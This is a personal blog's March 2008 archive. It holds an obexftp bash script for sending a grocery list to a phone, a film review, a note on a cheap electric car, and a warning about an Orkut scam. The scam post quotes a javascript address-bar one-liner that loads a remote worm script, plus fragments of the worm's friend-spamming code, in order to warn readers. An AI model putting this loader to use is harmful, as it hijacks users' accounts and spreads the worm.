Coherent Blah's

March 2008 Archives

    Okay, confession time. However much I try to, I cannot remember the grocery list after I reach the store. The best I can do is, count the number of items before leaving home, remember that, and try to come up with as many items at the store to meet that number, and then call wifey to fill up the gaps. I blame NPR that I listen to on my way for this temporary amnesia. It's just more interesting than my grocery list.
    So what's the big deal!! Write the list down, and take it with me? Unfortunately, pen and paper is not that handy, especially with a two year old running around trying his best to snatch away each and every pen he can.
    Okay, pen and paper is not the problem, the problem is, I needed an excuse to do something geeky about the grocery list. What I wanted to do is, quickly type up the list on a [shell|vim|editor] window, and quickly send the list to my cell phone over bluetooth.
    Now, there are many apps available for similar thing, but I find almost all of them too heavyweight for just this. Especially, if I have to fire up a GUI for this, it's too many mouse clicks to be simple enough.
Then again, what are shells for (personally, I think, the coolest thing in a *nix environment is its shell and scripting prowess).

Here is what I did:
  • First, I need the necessary stuff installed for my Ubuntu Laptop. Just do:
sudo apt-get install obexftp
  • Now, I need to find my phone. Run the following command:
~$ obexftp -b
and you should see output like:
Scanning ...
Using 00:18:xx:xx:xx:xx W810i
identify the line by name that is your phone.
  • Test out you can really send a file across. Create a file, say, grocery.txt, and send it to the phone by the following command:
~$ obexftp -b 00:18:xx:xx:xx:xx -p grocery.txt

The interesting thing to note here is, different phones store the file in different locations, based on their make and configuration. For example, on my Sony Ericcson W810i, it stores on the memory stick under Webpages/Saved pages category.

Why is this important? Because, when you create a new grocery list, you should be able to replace (remove + add) the older list. For that, knowing the location is necessary.
  • Find the real location on the phone. The phone, on its interface, can show a different UI to access the file than the real directory structure that it exposes over bluetooth. Use the obexftp's -l command to browse the directory structure. For example, see the session below:
:~$ obexftp -b 00:18:xx:xx:xx:xx -l
Browsing 00:18:xx:xx:xx:xx ...
Channel: 7
Connecting...done
Receiving "(null)"... <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE folder-listing SYSTEM "obex-folder-listing.dtd">
<!--
XML Coder, (C) 2001 Sony Ericsson Mobile Communications AB
-->
<folder-listing version="1.0"><folder name="Phone memory"/>
<folder name="Memory Stick"/>
</folder-listing>
done
Disconnecting...done
:~$ obexftp -b 00:18:xx:xx:xx:xx -l "Memory Stick"
Browsing 00:18:xx:xx:xx:xx ...
Channel: 7
Connecting...done
Receiving "Memory Stick"... <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE folder-listing SYSTEM "obex-folder-listing.dtd">
<!--
XML Coder, (C) 2001 Sony Ericsson Mobile Communications AB
-->
<folder-listing version="1.0"><parent-folder/>
<file name="MEMSTICK.IND" size="0"/>
<file name="MSTK_PRO.IND" size="0"/>
<folder name="DCIM"/>
<folder name="MP3"/>
<folder name="MSSEMC"/>
</folder-listing>
done
Disconnecting...done

...

:~$ obexftp -b 00:18:xx:xx:xx:xx -l "Memory Stick/MSSEMC/Media files/webpage/saved_pages"
Browsing 00:18:xx:xx:xx:xx ...
Channel: 7
Connecting...done
Receiving "Memory Stick/MSSEMC/Media files/webpage/saved_pages"... Sending "Memory Stick"... Sending "MSSEMC"... Sending "Media files"... Sending "webpage"... done
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE folder-listing SYSTEM "obex-folder-listing.dtd">
<!--
XML Coder, (C) 2001 Sony Ericsson Mobile Communications AB
-->
<folder-listing version="1.0"><parent-folder/>
<file name="todo.txt" size="0"/>
<file name="grocery.txt" size="11"/>
</folder-listing>
done
Disconnecting...done
So, at this point of time, I know that my grocery.txt has been sent to the directory "Memory Stick/MSSEMC/Media files/webpage/saved_pages"

  • Now, your script should be like the following. Running it would fire up a vi to enter the list. Replace that line with whatever your favorite editor is (Kate??). Also, remember to replace the PHONE_ADDRESS with bluetooth address of your phone, and the PHONE_PATH with the path you discovered (the one below should work for W810i's with a memory stick). Good Luck!!
#!/bin/bash
export GROCERY_FILE="grocery.txt"
export PHONE_ADDRESS="00:18:xx:xx:xx:xx"
export PHONE_PATH="Memory Stick/MSSEMC/Media files/webpage/saved_pages/$GROCERY_FILE"
export EDITOR=vim
# First create the grocery list.
#
if [ -f $GROCERY_FILE ]
then
echo "File $GROCERY_FILE exists... Re-Editing";
fi

$EDITOR $GROCERY_FILE

if [ -f $GROCERY_FILE ]
then
echo "Removing $GROCERY_FILE from phone location $PHONE_PATH";
obexftp -b $PHONE_ADDRESS -k "$PHONE_PATH" 2> /dev/null
echo "Adding $GROCERY_FILE to phone";
obexftp -b $PHONE_ADDRESS -p $GROCERY_FILE 2> /dev/null
if [ $? -eq 0 ]
then
echo "Added file to phone successfully. Go Shop!!"
else
echo "Failed to add list to phone. Search for paper and pen!!"
fi

else
echo "File $GROCERY_FILE Does not exist... Aborting.";
fi

Namesake

| | Comments (0) | TrackBacks (0)

After a long long time, yesterday I watched a movie that does justice to the book it's based on, if not supersedes. It's NameSake by Mira Nair.

I have read the book before watching the movie, and expected the movie to be slow. However, I came out quite surprised. It was a reasonably fast movie, with awesome acting and reasonably good editing. Tabbu and Irfan Khan were superb, so was Kal Penn (of Harold and Kumar fame). A must watch.

Apparently Tata Nano doesn't hold the World's Cheapest Car status anymore. There is a new kid in the block, and it's electric. Thus, the issue of pollution on crowded Indian roads is moot, though the question of the transport infrastructure being able to support it remains.
 
Tara Tiny is here.
From the report:
The Tata Nano is no longer the world's cheapest car! Jostling along with Tata Nano, this July, will be Tara Tiny and Tara Titu. These are zero emission, electric cars and cost only Rs 99,000! And they come from the Tara International stable.

Although I haven't done the calculation myself, this seems very interesting:

"Now, people are driving fuel cars at an average of Rs 6 per km. One can drive our cars at 40 paise per km."

Specifications are here:
Specifications of Tara Tiny are as follows:

  • No of seats: 4
  • Net weight: 850 kg
  • Wheel base: 2150 mm
  • Maximum speed: 50 km/hour
  • Maximum grade ability: 15%
  • Motor power: 3 kw
  • Battery voltage: 6V*10
  • Recharge duration: 8 hours
  • Driving charge: 120 km
  • Ground clearance: 150/mm
  • Running cost: 40 p/km
  • Battery capacity: 200/Ah

  • One recent trend I noticed is this javascript based hacks. Very lame, but seems like a lot of people are falling for it. If you get a scrap and someone says you should "Copy paste" a piece of code to do anything on orkut, don't do it. That will give the script access to your orkut account, as you are running it after logging in.

    For a detailed analysis, for example, I got the following scrap from JohnDoe yesterday:


    JohnDoe:

    Heya !!
    how are you??
    Do you know there was a profile in news last night


    link :- click here

    The about me of This Profile Is Superb.


    So, I clicked on the link (clicking a link will never get you a virus, unless you click something on that website, or allow it access, or are running Internet Explorer instead of firefox), and the profile of the girl's page says:
    VIEW ANYONE'S LOCKED ALBUM NOW.


    1.) Goto the profile of which you need
    to view the album

    2.) Copy the javascript given below and paste
    it to your address bar where you write www.orkut.com And hit enter key

    3.) Now wait for the images to be loaded
    as it will take a few minutes .


    javascript:d=document;c=d.createElement('script');d.body.appendChild(c);
    c.src='http://unlockalbum.110mb.com/orkut0.js';void(0)


    Wow,  View anyone's locked album now??? Cool. The voyeur in us rises over the safety call, and  on running the script... wait, let's analyze what it does...
    You can see the script without running it by getting the url http://unlockalbum.110mb.com/orkut0.js

    I see functions such as:
                  var select;
    function loadFriends() {

    date_now = new Date();
    var hrs = date_now.getHours();


    and...
              function SendScrapToAll()
    {
    var scrapText;
    scrapText = "<br><br>[blue][b]Heya !! <br>how are you??<br> Do you know there was a profile in news last night[/blue][/b]"+

    "<br><br>"+
    "[b]link :- [link=http://www.orkut.com/Profile.aspx?uid=15527052912922416735]<font style=text-decoration:blink
    >click here</font>[/link]<br><br>[red]The about me of This Profile Is Superb.[/b][/red]";


    if(c == select.length)
    return;

    Obvious, ain't it?
    So, the script is going to send the same scrap to everybody in your friends list. It's pretty obvious our dear JohnDoe fell for it :-).

    So, again, do not copy paste some script that you are asked to run.

    About this Archive

    This page is an archive of entries from March 2008 listed from newest to oldest.

    February 2008 is the previous archive.

    April 2008 is the next archive.

    Find recent content on the main index or look in the archives to find all content.